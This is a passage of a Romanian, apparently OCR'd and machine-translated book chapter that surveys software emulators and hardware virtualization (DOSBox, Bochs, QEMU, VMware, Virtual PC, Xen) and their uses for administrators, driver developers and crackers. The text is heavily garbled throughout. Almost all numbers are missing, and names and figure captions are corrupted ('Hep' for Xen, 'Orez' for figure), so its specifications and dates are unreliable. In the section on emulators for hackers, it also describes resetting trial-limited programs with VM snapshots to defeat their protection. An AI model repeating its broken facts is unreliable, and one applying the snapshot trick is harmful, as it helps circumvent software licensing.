registrului eflags în memorie fără a arunca o excepție și, deși încercarea de a modifica câmpurile privilegiate eflags duce la o excepție, acest lucru nu ajută situația Să presupunem că sistemul de operare invitat setează registrul eflags la o valoare x care afectează unul sau mai multe câmpuri privilegiate Procesorul generează o excepție, emulatorul o prinde și simulează o scriere, „alunecând” un eflag „virtual” în sistemul oaspete Cu toate acestea, citirea eflag-urilor, care nu este o instrucțiune privilegiată, returnează conținutul său nemodificat, astfel încât în loc de valoarea x așteptată, sistemul de operare invitat va obține o valoare complet diferită Partea I Prezentare generală a programelor de hacking Instrucțiunile lar, lsl, verr și verw sunt și mai rele, deoarece funcționează diferit în modurile privilegiate și neprivilegiate În modul non-privilegiat, nu se aruncă nicio excepție, dar instrucțiunea nu returnează rezultatul așteptat de la ea Iată doar o listă parțială a motivelor care fac ca platforma x să fie inadecvată pentru o virtualizare eficientă (mai multe despre aceasta pot fi găsite în articolul „Proceedings of the th USEN X Security Symposium” disponibil la http://www usenix org/events /sec /robin html) Inadecvarea arhitecturii x pentru virtualizarea eficientă nu interzice încă emularea IVMRS în software cu suport hardware minim Într-o aproximare aproximativă, acesta va fi un interpret care „digeră” comenzile mașinii cu imitarea ulterioară a executării lor Nu există probleme cu procesoarele , dar emularea de paginare a memoriei și alte funcționalități tipice pentru procesoarele + nu numai că complică codificarea, ci și reduce viteza de execuție a programului de sute sau chiar de mii de ori! Domeniile de aplicare ale emulatorilor În ciuda deficiențelor enumerate în secțiunea anterioară, interesul pentru emulatorii de software este în continuă creștere Acest lucru se întâmplă dintr-o varietate de motive De exemplu, profesioniștii în securitatea rețelei ar trebui să aibă la dispoziție cel puțin trei sisteme de operare diferite: cel puțin un sistem din familia Windows NT, una dintre variantele Linux și una dintre versiunile FreeBSD; și prezența altor sisteme de operare populare este, de asemenea, foarte de dorit Multe vulnerabilități (în special, erorile de supraîncărcare) apar doar în anumite versiuni ale sistemelor de operare, în timp ce alte sisteme sau chiar alte versiuni ale aceluiași sistem de operare pot fi lipsite de acest defect Dar gândește-te doar cât de incomod este să reinstalezi constant sistemele de operare, renunțând la cele deja familiare și locuibile Pe lângă pierderea enormă de timp (și timpul joacă întotdeauna împotriva ta), există și riscul de a pierde datele acumulate care sunt de mare valoare pentru tine! Experimentele cu viruși și exploatări ar trebui efectuate și pe un computer de sine stătător, izolat de lumea exterioară, deoarece sistemul de control al accesului încorporat în familia de sisteme de operare Windows NT și clone UNIX este departe de a fi perfect În consecință, orice neglijență permisă de cercetător poate duce la consecințe dezastruoase În mod tradițional, aceste probleme erau rezolvate prin achiziționarea mai multor computere sau a mai multor hard disk-uri, care erau conectate pe rând la computerul de testare Prima soluție este prea scumpă, iar a doua este extrem de incomodă, mai ales având în vedere că hard disk-urile sunt extrem de sensibile la un astfel de tratament Din acest punct de vedere, este dificil să nu fii de acord că emulatoarele sunt instrumente extrem de utile într-o astfel de situație Cu toate acestea, acest capitol nu „reclamă” niciun emulator anume Dimpotrivă, descrie sarcinile care pot fi rezolvate cu ajutorul emulatorilor și demonstrează domeniile de aplicare a acestora Scopul său principal este de a ajuta cititorii să aleagă emulatoarele care sunt cele mai potrivite pentru rezolvarea practică a sarcinilor lor Emulatori pentru utilizatori Imaginează-ți situația: ai citit un articol într-o revistă despre un joc nou grozav Ai început cu entuziasm să cauți acest joc, l-ai primit și brusc ai descoperit că nu va funcționa sub sistemul tău de operare Ce dezamagire! Utilizatorii FreeBSD sunt în cea mai proastă poziție în acest sens, de la jocurile pentru acest sistem de operare Capitolul Emularea depanatoarelor și emulatoarelor extrem de putine Cum să ieși din această situație? Există suficient spațiu liber pe disc pentru a instala Windows, dar reporniți de fiecare dată când doriți să jucați - nu, mulțumesc! Ce se întâmplă dacă acest joc este pentru Mac sau Sony PlayStation? Din fericire, computerele moderne vă permit să uitați de „hardware-ul nativ”, emulând întregul computer (Fig ) și deschizând utilizatorul către o lume nelimitată a software-ului Acum nu sunteți legat de o anumită platformă hardware și puteți rula orice program, indiferent de computer pentru care a fost scris - poate fi, de exemplu, ZX Spectrum sau Xox Singura problemă este găsirea unui emulator de calitate Când se utilizează emularea, sistemul de operare gazdă devine o „fundație” pe care pot fi construite multe sisteme de operare invitate Una dintre „camere” din acest „hotel” este recomandată a fi luată drept „camera de carantină” După cum știți, atunci când instalați orice program nou, există riscul ca sistemul de operare să se prăbușească din cauza unui program de instalare care funcționează incorect, a unui conflict de bibliotecă, a unui software rău intenționat sau pur și simplu ghinion De aceea programele obținute din surse nesigure se recomandă să fie instalate și rulate într-un mediu izolat Pentru a face acest lucru, puteți selecta o mașină virtuală separată în emulator Notă Deși acest sfat este bun, trebuie remarcat imediat că nu oferă securitate deplină Există încă modalități de a ieși din mașina virtuală Unele dintre acestea vor fi discutate în detaliu în capitolul Orez Un emulator bun vă va permite să rulați orice sistem de operare Partea I Prezentare generală a programelor de hacking Emulatori pentru administratori Pentru administratori, emulatorul este în primul rând un teren de testare pentru tot felul de experimente Obțineți o duzină de clone UNIX diferite și bate-le în joc la maximum Instalați sistemul, demontați-l și reinstalați-l cu ușoare modificări ale configurației La urma urmei, ei sunt angajați nu după o diplomă, ci după specialitatea lor, iar o specialitate se dobândește numai în lupte Același lucru este valabil și pentru recuperarea datelor Fără o pregătire specială, este mai bine să nu rulați Disk Editor pe o mașină care funcționează, și cu atât mai mult Disk Doctor Nu există nicio garanție că va „vindeca” de fapt discul și nu-l va transforma într-o vinegretă Pe scurt, emulatorul este un banc de testare grozav la care nu ai visat niciodată înainte (Figura ) Orez Un emulator este un fel de banc de testare care permite, de exemplu, dobândirea abilităților de a recupera un sistem de fișiere deteriorat În organizațiile mari, administratorul păstrează întotdeauna o copie exactă a serverului pe computerul de rezervă și rulează mai întâi toate patch-urile pe acesta În organizațiile mai mici, este aproape imposibil să realizezi o mașină separată special pentru acest scop, motiv pentru care trebuie să apelezi la un emulator Pe acesta sunt testate diverse exploatații, iar dacă existența unei vulnerabilități este confirmată, se iau măsuri prompte pentru eliminarea acesteia O mașină virtuală comunică cu sistemul de operare gazdă și cu alte mașini virtuale, de obicei, printr-o rețea locală virtuală Cu - MB de memorie, poți crea un adevărat intranet corporativ - cu servere SQL și WEB, o zonă demilitarizată, un firewall și mai multe stații de lucru Un exemplu de astfel de rețea virtuală este prezentat în Fig Nu vă puteți imagina un teren de antrenament mai bun pentru a învăța trucuri de rețea Dacă vrei - atacă, dacă vrei - administrează Pentru mai multe informații despre motivele pentru care acest lucru nu ar trebui făcut, consultați următoarea carte: K Kaspersky, „Data Recovery A Practical Guide” - Sankt Petersburg: BHV-Petersburg, Capitolul Emularea depanatoarelor și emulatoarelor Emulatori pentru programatori Dezvoltatorii de drivere iubesc cel mai mult emulatorii Nucleul sistemului de operare nu iartă greșelile și distruge răzbunător hard disk-ul, distrugând toate datele acumulate de-a lungul multor ani Repornirile și înghețarile sunt în general un lucru obișnuit, cu care vă obișnuiți să vă placă sunetul roților sau foșnetul anvelopelor În plus, majoritatea depanatoarelor la nivel de kernel necesită două computere conectate prin cablu COM sau LAN Pentru un dezvoltator profesionist, acesta nu este un lux, dar unde să le pună? Cu un emulator, totul este mult mai ușor Nicio pierdere de date, nicio repornire și toate lucrările de depanare pot fi efectuate pe un singur computer Desigur, lucrurile nu se pot face fără reporniri, dar în timp ce mașina virtuală se repornește, puteți face ceva util pe cea principală (de exemplu, editați codul sursă al driverului) În plus, putem forța emulatorul să scrie comenzi în fișierul jurnal, analizând care putem determina cauza defecțiunii driverului (deși nu toți emulatorii oferă această opțiune) Nucleul standard FreeBSD nu are un depanator, iar nucleul de depanare introduce efecte secundare în sistem Prin urmare, în nucleul de depanare, driverul poate funcționa bine, dar poate cauza blocarea sistemului în cel standard Depanatoarele Windows se comportă în mod similar, astfel încât testarea finală a driverului ar trebui să aibă loc într-o configurație standard, în care dezvoltatorul este lipsit de toate instrumentele de depanare și monitorizare În ceea ce privește programatorii de aplicații, emulatorii le permit să țină la îndemână întreaga linie de sisteme de operare, ajustând programele dezvoltate la comportamentul specific al fiecăruia dintre ele În lumea Windows, există doar două familii de sisteme de operare - Windows x și linia Windows NT, și chiar și în aceste condiții, dezvoltatorii sunt adesea amețiți, dar lumea UNIX mult mai variat! Insidiositatea bug-urilor este că acestea tind să apară doar în configurații strict definite Instalarea de software suplimentar și, cu atât mai mult, recompilarea nucleului, îi pot speria și apoi - căutați fistula Și asta înseamnă că până când eroarea este găsită, nimic nu poate fi schimbat în sistem Pe mașina principală, această cerință este dificil de îndeplinit, dar în emulator acest lucru nu provoacă probleme O mașină virtuală care este deconectată de la rețea (inclusiv una virtuală) nu are nevoie de corecții Dar atunci cum se face schimb de date? O dischetă și un CD-R sunt la dispoziție Partea I Prezentare generală a programelor de hacking Cel mai important avantaj al emulatoarelor este că vă permit să creați așa-numitele „projectări” - „instantanee” ale stării sistemului (instantanee ale sistemului) și să reveniți la ele în orice moment de un număr nelimitat de ori Acest lucru simplifică foarte mult sarcina de a reproduce o defecțiune (adică, determinarea circumstanțelor apariției acesteia) Cum este un astfel de instantaneu diferit de un dump de memorie aruncat de sistem la accident? După cum sugerează și numele, un dump conține doar informații care se aflau în memoria sistemului la momentul accidentului, în timp ce o „transformare” conține toate componentele sistemului, inclusiv conținutul discului, memoriei, registrelor controlerului etc Dezvoltatorii de aplicații de rețea de la emulatori sunt în general încântați Anterior, la depanarea unor astfel de aplicații, era nevoie de un al doilea computer și era destul de dificil să se facă fără un asistent, care trebuia și el antrenat în prealabil Acum, depanarea aplicațiilor de rețea a fost simplificată la limită (Fig ) Orez Depanarea unui program de aplicație sub emulator Emulatori pentru hackeri Emularea depanatoarelor există încă de pe vremea MS-DOS și a devenit imediat extrem de populară printre hackeri Nesurprinzător! La urma urmei, mecanismele obișnuite de apărare folosesc două tehnici principale pentru a face față depanatoarelor - detectarea pasivă a depanatorului și capturarea activă a resurselor de depanare, ceea ce face imposibilă depanarea Pe depanatorul care emulează acestea Capitolul Emularea depanatoarelor și emulatoarelor acțiunile nu sunt propagate în niciun fel - este situat sub procesorul virtual și, prin urmare, este complet invizibil pentru aplicația depanată De asemenea, depanatoarele care emulează nu folosesc nicio resursă a procesorului emulat Instantaneele de sistem sunt foarte utile în derularea programelor cu o durată de viață limitată Punem programul, creăm o impresie, traducem data, după care facem o altă impresie Să vedem ce s-a schimbat Tragem concluzii și „despărțim” piesele de schimb inutile din program Cea mai simplă și cea mai disponibilă versiune a acestei tehnici arată astfel: instalați un program protejat pe o mașină virtuală separată Facem un blind Toata lumea! Apărarea s-a terminat! Indiferent de câte ori vom rula „distribuția”, apărarea va fi naivă să credem că este lansată pentru prima dată Nici nu se va putea lega de hardware, deoarece hardware-ul emulatorului nu depinde de mediul hardware Pe parcurs, emulatorul elimină necesitatea instalării unui program stricat pe mașina principală În primul rând, unele programe, când constată că sunt rupte, încearcă să contracareze acest lucru De exemplu, un astfel de program poate suprascrie datele de pe hard disk În orice caz, chiar dacă protecția nu stabilește niciun truc murdar pentru tine, cel mai probabil programul va funcționa instabil Să fie mai bine buggy pe emulator! Virtualizare hardware Din fericire, problema performanței slabe a emulatorului menționată la începutul acestui capitol este acum de domeniul trecutului La mijlocul anului , intrând pe piața serverelor puternice, Intel și AMD au dezvoltat tehnologii de virtualizare hardware De fapt, au adăugat un inel suplimentar de protecție, funcționând în care hipervizorul poate intercepta toate evenimentele care necesită atenție din partea sa În termeni practici, acest lucru a redus semnificativ supraîncărcarea emulatorului, iar acum performanța mașinilor virtuale ajunge la aproximativ - % din performanța procesorului principal Tehnologia de virtualizare hardware este deja susținută de noile versiuni de emulatori De exemplu, un astfel de suport este oferit de emulatorii VMware , Hep și o serie de alte produse care vor fi discutate mai târziu în acest capitol Deci, de ce aveți nevoie pentru a experimenta cu emulatoare? Dacă problema performanței scăzute nu vă deranjează, atunci cerințele hardware vor fi destul de modeste De exemplu, pentru a asigura o muncă confortabilă cu Windows și FreeBSD , este suficient un procesor Pentium III -MHz Acest lucru vă va permite complet să jucați, de exemplu, Quake I, deși la limita posibilităților Cerințele RAM vor fi ceva mai stricte În mod obișnuit, sistemul de operare gazdă ar trebui să aibă cel puțin MB de RAM, iar fiecare mașină virtuală (adică, fiecare sistem de operare invitat) ar trebui să fie alocată aproximativ - MB Desigur, cantitatea de memorie necesară depinde de tipul de sistem de operare care este emulat De exemplu, MB vor fi suficienți pentru a emula MS-DOS Prin alocarea a MB mașinii virtuale, puteți emula Windows /XP/ Disponibilitatea spațiului liber pe disc nu este de obicei o chestiune de o importanță capitală Mașinile virtuale nu sunt create pentru acumularea și stocarea datelor Cu rare excepții, acestea nu conțin decât o copie generică a sistemului de operare emulat și minimul necesar de aplicații Imaginea discului virtual este stocată într-un fișier obișnuit, care se află sub controlul deplin al sistemului de operare principal Discuri virtuale Un hypervisor este un program (sau circuit hardware) care permite mai multor sisteme de operare să ruleze simultan și în paralel pe un singur computer gazdă manager de resurse kernel în era mainframe treizeci Partea /, Prezentare generală a programelor de hacking Există două tipuri - fixe (fixe) și dinamice, sau așa-numitele „sparse” (sparse) La crearea unui disc virtual fix, emulatorul „împrăștie” imediat fișierul imagine pe întreg spațiul de disc alocat, chiar dacă imaginea nu conține informații utile În schimb, atunci când se creează un disc virtual dinamic, în fișierul imagine sunt stocate doar sectoarele virtuale utilizate, iar dimensiunea imaginii crește pe măsură ce este umplută cu date Dacă performanța emulatorului este importantă pentru tine, atunci situația este diferită Pentru a profita din plin de virtualizarea hardware, trebuie să aveți un procesor care acceptă această tehnologie În acest scop sunt potrivite următoarele procesoare Intel: Pentium x , Pentium D хх, Xeon ххх, Core Duo și Coge Duo (tehnologia Vanderpool) și Itanium (tehnologia Silvervale) În ceea ce privește procesoarele AMD, virtualizarea hardware este suportată de toate procesoarele fabricate după mai (Socket AM , Socket S și Socket F - Athlon , Turion ), precum și de toate procesoarele AMD Opteron lansate după august (tehnologia Pacifica) Oficial, tehnologiile de virtualizare hardware implementate de Intel și AMD se numesc VT-X și, respectiv, AMD-V Desigur, pe lângă procesor, veți avea nevoie de o placă de bază modernă și, eventual, de o versiune actualizată a BIOS-ului Unele BIOS-uri vă permit să activați sau să dezactivați suportul pentru virtualizarea hardware, dintre care unele îl au dezactivat implicit OK, hardware-ul este cumpărat, asamblat, configurat și gata de funcționare: Acum este rândul software-ului Prezentare generală a emulatorilor populari Dintre toți emulatoarele disponibile, cele mai populare sunt DOSBox, Bochs, Microsoft Virtual PC și VMware Fiecare dintre ele are propriile sale avantaje, dezavantaje și, desigur, fiecare dintre ele are propriul său cerc de fani DOSBox Un emulator gratuit distribuit din sursă (http://dosbox sourceforge net/download php?main=l) Emulează un singur sistem de operare - MS-DOS Este folosit în principal pentru a rula jocuri vechi Hard disk-urile nu sunt emulate (emulația I/O disc se termină la întreruperea h) și SoftICE nu rulează pe el Pe de altă parte, sir (un dispozitiv de despachetare a fișierelor executabile plus un depanator), care poate fi descărcat de la ftp://ftp elf stuba sk/pub/pc/pack/ucfcup zip, funcționează destul de bine (Fig ) În plus, există un depanator integrat bun (deși pentru aceasta emulatorul trebuie recompilat cu chei de depanare) Posibilitatea de extindere nu este prevăzută structural Cu toate acestea, disponibilitatea unui cod sursă bine structurat face ca această problemă să fie irelevantă Dacă doriți, puteți adăuga orice funcționalitate lipsă la emulator în orice moment (de exemplu, un hard disk virtual) Sunt acceptate trei moduri de emulare - completă, parțială și dinamică Completitudinea emulației „complete” este de fapt destul de arbitrară De exemplu, depanatorul SoftICE nu funcționează în acest emulator Cu toate acestea, pentru marea majoritate a programelor nepervertite, emularea parțială este mai mult decât suficientă Ambele moduri sunt destul de fiabile și este imposibil să ieși din emulator, deși performanța mașinii dirtual lasă mult de dorit - Pentium III MHz scade la , MHz, încetinind de peste de ori Modulul de emulare dinamică (executarea codului pe un procesor „live”) este încă în curs de dezvoltare, iar versiunea actuală conține multe bug-uri, unele dintre ele fatale Din acest motiv, nu se recomandă utilizarea acestui modul, deși performanța lui este de patru ori mai mare Capitolul Emularea depanatoarelor și emulatoarelor shі ,□! x| ICONFIG:Se încarcă setările din fișierul de configurare dosbox conf riIDI îDeuice deschis:win Orez Depanator cup care rulează sub emulator DOSBox (nu rulează cup Ș direct sub Windows) Schimbul de date cu lumea exterioară are loc fie prin acces direct la CD-ROM, fie prin montarea directoarelor de discuri fizice pe discuri logice virtuale accesibile de sub emulator prin interfața int h Acest lucru oferă o protecție destul de fiabilă împotriva programelor malware Ei pot distruge directorul montat, dar toți ceilalți nu pot! DOSBox este foarte potrivit pentru experimentarea cu majoritatea virușilor MS-DOS (cu posibila excepție a celor care au nevoie de o întrerupere int sau porturi I/O), precum și pentru cracarea programelor care rulează atât în modul real, cât și în cel protejat Bochs și QEMU Bochs este un adevărat emulator de hackeri destinat profesioniștilor (Figura ) Simplii muritori îl consideră prea confuz și copleșitor de complex Aici totul este configurat prin fișiere de configurare text - de la numărul de procesoare până la geometria discului virtual Este un produs open source non-comercial, cu o calitate impresionantă a emulării Controlerele de dischetă și hard disk IDE sunt emulate la nivel de port I/O, oferind compatibilitate cu aproape toate programele de nivel scăzut Modul protejat al procesorului este complet emulat În orice caz, SoftICE pornește destul de bine (Fig ), deși funcționează oarecum instabil, închidend periodic tastatura virtuală Există un depanator integrat suficient de decent, cu un număr nelimitat de puncte de întrerupere virtuale și funcții de backtrace Emulatorul este potrivit pentru investigarea virușilor și depanarea programelor pervertite care rulează în modul terminal MS-DOS sau Linux/FreeBSD, precum și pentru experimentarea cu diferite sisteme de fișiere (vezi Figura ) Codul sursă complet este disponibil la http://bochs sourcefbrge net Aici puteți găsi și fișiere executabile gata de utilizare pentru Windows și Linux Din păcate, rularea Windows pe acest emulator necesită un procesor modern puternic și chiar și atunci performanța este dezamăgitor de lentă Partea I Prezentare generală a programelor de hacking time c: cronometrul HPET nu a fost găsit, sincronizarea precisă indisponibilă time c: se utilizează cronometrul PIT de , MHz time c: Procesor detectat de , MHz Consola: culoare UGA + x Se calibrează bucla de întârziere ® BogoMIPS Mtmorry: k/ k disponibile ( k cod kernel, k rezervat, k date, ■■•Ok init) intrări din tabelul hash din cache pentry: (ordine: , octeți) Intrări din tabelul hash din cache inode: (ordine: , octeți) Intrări din tabelul hash Mvunt-cache: (ordine: , octeți) intrări tabel: (ordine: , octeți) intrări tabel hash cache-tage: (ordine: , octeți) CPU: LI I Cache: OK ( octeți/linie/mod O), D cache OK ( octeți/linie/mod O) CPU: L Cache: OK ( octeți/linie/mod O) CPU: DTLB LI O K MB L : O K MB CPU: TLB LI O K MB L : O K MB F SIX Testare de conformitate de către UNIFIX ExtIHT rnablat pe CPUSO Valoarea ESB înainte de activarea vectorului: Valoarea ESB după activarea vectorului: testing HMI watchdog CPUSO: MMI pare să fie blocat! Folosind întreruperi ale temporizatorului APIC local Temporizator APIC de MHz detectat CPU: , ceasuri: , felie: Orez Bochs vă permite să rulați Linux Debian pe de biți pe un procesor x Orez Un depanator care rulează într-o sesiune MS-DOS care rulează un emulator Bochs care rulează Windows Bazat pe Bochs, a fost creat un alt emulator minunat - QEMU, care folosește un mod de emulare dinamică care îmbunătățește performanța de zece ori Fără să intrăm în detalii tehnice, observăm că QEMU, așa cum spune, „compilează” cod de mașină, care, atunci când este re-executat, rulează pe hardware „în direct” la viteză maximă În cicluri, acest lucru oferă un câștig uriaș! Adevărat, performanța generală lasă încă mult de dorit, iar stabilitatea (din cauza dificultăților tehnice în implementarea emulării dinamice) șchiopătează Unele programe nu pornesc deloc (în special jocurile), unele se blochează periodic Cu toate acestea, QEMU trage cu ușurință Linux/BSD fără un shell grafic, iar rândurile fanilor săi cresc constant Cea mai recentă versiune poate fi oricând descărcată gratuit de la http://fabrice bellard fTee fr/qemu Capitolul Emularea depanatoarelor și emulatoarelor VMware Realizând promisiunea pieței de emulatoare de înaltă calitate, în VMware a lansat un produs revoluționar numit VMware Virtual Platform A fost implementat pe baza cercetărilor efectuate la Universitatea Stanford și brevetat în mai Pavetul în sine, precum și toate informațiile tehnice necesare, sunt disponibile pentru descărcare gratuită la http://patft uspto gov/netacgi/nph -Parser brevetnumere Pentru a obține o emulare de mare viteză pe procesoarele x , dezvoltatorii VMware au folosit o serie de tehnologii complexe care necesită o interacțiune strânsă cu nucleul sistemului de operare principal Din păcate, toate impun restricții semnificative asupra sistemelor de operare invitate Virtualizarea completă nu a fost realizată Doar unele dintre funcționalitățile procesoarelor x sunt emulate, în timp ce încercările de a utiliza restul duc la un comportament imprevizibil al sistemului de operare invitat Totuși, degradarea performanței nu este prea semnificativă, ceea ce vă permite să rulați cu succes Windows pe un procesor Pentium III Astfel, VMware poate fi descris ca un emulator multifuncțional potrivit pentru o varietate de experimente, mai ales dacă aveți un computer puternic și modern (Fig ) Orez Windows Vista rulează în emulator VMware sub Windows XP Avantajul incontestabil al VMware este funcționarea stabilă a SoftlCE (Fig ), precum și suportul pentru instantanee de sistem Partea I Prezentare generală a programelor de hacking Orez SoftICE funcționează bine cu VMware Cum se configurează SoftICE pentru VMware Este posibil să întâmpinați probleme când încercați să utilizați SoftICE sub Windows care rulează sub VMware Esența problemei este că SoftICE funcționează numai din modul text pe ecran complet (accesați FAR Manager, apăsați + , apoi + ), iar în toate celelalte moduri blochează sistemul strans Dar sub Windows , se simte destul de normal, dar la urma urmei, trecerea la Windows nu este o opțiune Acesta este un bug de implementare cunoscut, recunoscut de NuMega și remediat doar în DriverStudio versiunea (denumită oficial „suport VMWARE”) Detalii pot fi găsite în documentația însoțitoare (consultați \Compuware\DriverStudio\Books\ Utilizarea SoftlCE pdf, Anexa E - „SoftICE și VMware”) În același timp, liniile svga maxFullscreenRefreshTick = " " și vininouse present = "FALSE" trebuie adăugate la fișierul de configurare al mașinii virtuale (virtual machine name vthx) O rețea virtuală atent proiectată vă permite să experimentați cu viermi de rețea În plus, există posibilitatea accesului direct la dischete/discuri laser S-au implementat foldere partajate cu protecție decentă Notă Înmulțirea virușilor în intestinele unei mașini virtuale ar trebui făcută cu prudență, deoarece „cochilia” care separă sistemul invitat de lumea reală este prea subțire Puteți, desigur, să rulați emulatorul în emulator (de exemplu, Bochs în interiorul VMware), dar acest lucru încă nu va rezolva toate problemele, dar performanța va scădea enorm! Începând cu versiunea , VMware acceptă tehnologia de virtualizare hardware a lui Vanderpool, permițându-i să ruleze sisteme de operare pentru invitați pe de biți pe procesoare x Adevărat, pentru sistemele de operare pentru oaspeți pe de biți, virtualizarea hardware este dezactivată în mod implicit, deoarece din cauza defectelor de implementare, în loc de accelerația promisă, oferă Capitolul Emularea depanatoarelor și emulatoarelor încetini O explicație detaliată a motivelor acestui comportament al emulatorului poate fi găsită în articolul „A Comparison of Software and Hardware Techniques for x Virtualization”, scris de doi angajați VMware - Keith Adams și Ole Agesen și postat pe site-ul companiei (http : / /www vmware com/pdf/asplos adanis pdf) Notă Linia monitor control vt = „TRUE” adăugată la fișierul * vth al mașinii virtuale corespunzătoare va ajuta VMware să utilizeze virtualizarea hardware Adevărat, nu va aduce prea multe beneficii Cea mai recentă versiune de VMware poate fi descărcată de pe site-ul web corporativ http://www vmware com Pe lângă versiunile comerciale, VMware oferă și emulatori gratuiti: VMware Pavier și VMware Server, care pot fi descărcate de pe pagina http://www vmware com/products/free virtualization html- În ciuda tuturor avantajelor evidente ale VMware, acest emulator nu este liderul incontestabil și nu face inutile toate celelalte produse de virtualizare Acest lucru este valabil mai ales pentru emulatorii care au depanare încorporate și vin cu cod sursă, ceea ce face posibilă extinderea funcționalității lor fără limită Microsoft Virtual PC Un emulator bun, distribuit fără cod sursă, dar care oferă o viteză decentă de emulare, transformând Pentium MHz în Pentium MHz (modul de emulare dinamică oferă suport pentru toate instrucțiunile de mașină ale procesorului fizic) AMI BIOS este complet emulat (configurabil prin Setup (Fig ), chipset Intel BX, placă de sunet Creative Labs Sound Blaster ISA, adaptor de rețea DEC A / și placă video PCI S Trio / cu MB de memorie pe În general, această configurație vă permite să rulați sisteme de operare moderne din familia Windows NT, precum și FreeBSD cu shell-uri grafice Există acces direct la dischete și unități CD-R M Hard disk-urile sunt emulate la nivelul unui controler IDE dual-channel (vezi documentația pentru chipset-ul BX), plasat pe hard disk ca fișier imagine dinamic sau fix Opțional, puteți interacționa cu sistemul de operare gazdă și alte mașini virtuale prin foldere partajate sau VLAN Ambele metode sunt nesigure din punctul de vedere al hackerului și, prin urmare, este mai bine să nu recurgeți la ele atunci când investigați programe agresive Virtual PC folosește o metodă de virtualizare similară cu cea folosită de VMware Cu toate acestea, VMware oferă o calitate mai bună a emulării și un suport hardware mai larg În special, depanatorul SoftICE, care funcționează bine sub VMware, refuză să funcționeze sub Virtual PC (Fig ) De asemenea, nu există un depanator încorporat și capacitatea de a lucra cu instantanee ale stării mașinii virtuale Toate aceste neajunsuri limitează semnificativ domeniul de aplicare al acestui emulator Cu toate acestea, jocurile care nu necesită un procesor rapid și un adaptor video puternic funcționează mai bine sub Virtual PC decât sub VMware În cele din urmă, nu putem decât să ne bucurăm că, în iulie , Microsoft a îndeplinit în sfârșit dorințele utilizatorilor și a lansat o versiune gratuită a Virtual PC , care poate fi descărcată de la http://www microsoft com/windows/virtualpc/downloads/spl mspx Acest produs gratuit poate fi recomandat pentru experimentarea cu sistemele de fișiere, ceea ce vă va ajuta să obțineți abilități practice în recuperarea datelor pierdute g^l MicrosoftW „-| Windows Ex -| CoreIDRAWll | țy Fig bmpg VirtualPC -| ^i „■' * : Orez Microsoft Virtual PC emulează întregul computer, inclusiv setarea BIOS MS-DOS A fost întâlnită o eroare de procesor care nu poate fi recuperată Mașina virtuală se va reseta acum ;Rezef Orez Reacția Microsoft Virtual PC la o încercare de a lansa SoftICE O întrebare destul de spinoasă apare adesea cu privire la necesitatea de a licenția Windows (și alte software) pentru fiecare mașină virtuală pe care este instalată Din punct de vedere legal, totul este în regulă, deoarece sistemele de operare sunt încă licențiate pentru mașini fizice, ceea ce este destul de logic, dar protecția ticăloasă încorporată în Windows necesită activare la schimbarea tuturor celor trei componente cheie - procesorul, hard diskul și placa video , iar pe o mașină virtuală sunt în mod natural virtuale și deloc coincid cu cele reale Adevărat, VMware care rulează comanda cpuid „live” arată procesorul așa cum este, evitându-ne să plătim pentru aceeași copie a Windows de mai multe ori la rând Noile versiuni ale software-ului de virtualizare Microsoft acceptă tehnologiile de virtualizare hardware De exemplu, Microsoft Virtual Server acceptă tehnologiile Pacifica și Vanderpool Capitolul Emularea depanatoarelor și emulatoarelor Hep Proiectul XEN, creația comunității nonprofit Hep, condusă de Ian Pratt de la XenSource, Inc (Figura ), este anterioară „inventării” virtualizării hardware A fost folosit pe scară largă de companii precum IBM și Hewlett-Packard în mainframe pentru a organiza servere virtuale dedicate, despre care puteți găsi mai multe în articolul http://en wikipedia org/wiki/Virtual dedicated server Acest lucru, desigur, vorbește despre fiabilitatea ridicată și calitatea excelentă a acestui produs Este testat în timp și, mai important, pe lângă platforma x , acceptă și platforme precum x - , IA , PPC și SPARC Orez Sisteme de operare invitate în emulatorul Hep Adevărat, pe procesoarele care nu acceptă virtualizarea hardware, este necesară modificarea nucleului sistemului de operare invitat, care interacționează cu hypervisorul prin setul de funcții API furnizate de acesta Nu există probleme cu sistemele de operare deschise (xBSD, Linux) în acest sens, dar Windows XP a fost portat la XEN exclusiv ca parte a proiectului „Microsoft’s Academic Licensing Program”, care vă permite să piratați kernelul Windows în scopuri academice Deși/deși portarea a fost efectuată cu participarea activă a Microsoft Research în strânsă cooperare cu grupul de sisteme de operare de la Universitatea din Cambridge, termenii acordului de licență nu permit redistribuirea unei versiuni portate de Windows XP sub nicio circumstanță Totuși, detaliile tehnice ale transferului sunt detaliate în documentația XEN, așa că cu o dorință arzătoare, înmulțită cu un exces de timp liber, orice grup de hackeri poate repeta acest truc Partea I Prezentare generală a programelor de hacker- Sprijinit de virtualizarea hardware pe partea procesorului, XEN permite oaspeților să ruleze fără nicio modificare (și XEN acceptă toate cele trei tehnologii de virtualizare: Pacifica, Vanderpool și Silvervale) De ce să te limitezi doar la Windows XP când există Windows Vista, Server Longhorn și îndrăgitul Windows de jur împrejur Sistemul de operare de bază poate fi Linux, NetBSD sau FreeBSD (cel din urmă este acceptat în modul limitat) XEN este inclus în multe distribuții, inclusiv în Debian Există, de asemenea, versiuni comerciale ale XEN, precum Novell SLES sau Red Hat RHEL În ceea ce privește Windows, acesta nu este inclus în lista sistemelor de operare de bază acceptate de XEN Prin urmare, dacă alegeți acest emulator special pentru dvs , atunci mai trebuie să instalați Linux / NetBSD Strict vorbind, nu este nimic în neregulă cu acest lucru, dar apoi, pe deasupra, va fi posibil să rulați mai multe Windows pentru invitați de toate versiunile, care este pe plac O altă opțiune este să utilizați imaginile LiveCD, care sunt disponibile pentru descărcare gratuită la http://www xensource coin/download/dl cd html Codurile sursă Hep sunt disponibile aici: http://www cl cam ac uk/research/srg/netos/xen Cei mai apropiati concurenți Deci, sunteți convins că virtualizarea este o tehnologie avansată care vă permite să experimentați cu toate sistemele de operare existente, să organizați rețele virtuale și, de asemenea, să simulați atacuri în timp ce observăm reacția firewall-urilor și a sistemelor de detectare a intruziunilor (IDS) Prin urmare, nu este surprinzător că produse noi din această clasă apar aproape în fiecare zi Un astfel de produs este Parallels Workstation (Figura ) Editare fișier Vizualizați Ajutorul dispozitivelor VM Orez Emulator de stație de lucru Parallels Capitolul Emularea depanatoarelor și emulatoarelor În cele din urmă, nu putem să nu menționăm astfel de supraveghetori exotici precum Trango, care se concentrează pe rezolvarea problemelor în timp real, cum ar fi procesarea citirilor senzorilor care se schimbă rapid Alegerea emulatorului potrivit Atunci când aleg un emulator potrivit, hackerii sunt de obicei ghidați de următoarele criterii: securitate, extensibilitate, cod sursă deschis, calitate și viteza emulării, prezența unui depanator încorporat și flexibilitatea mecanismelor de instantanee Să luăm în considerare toate aceste puncte mai 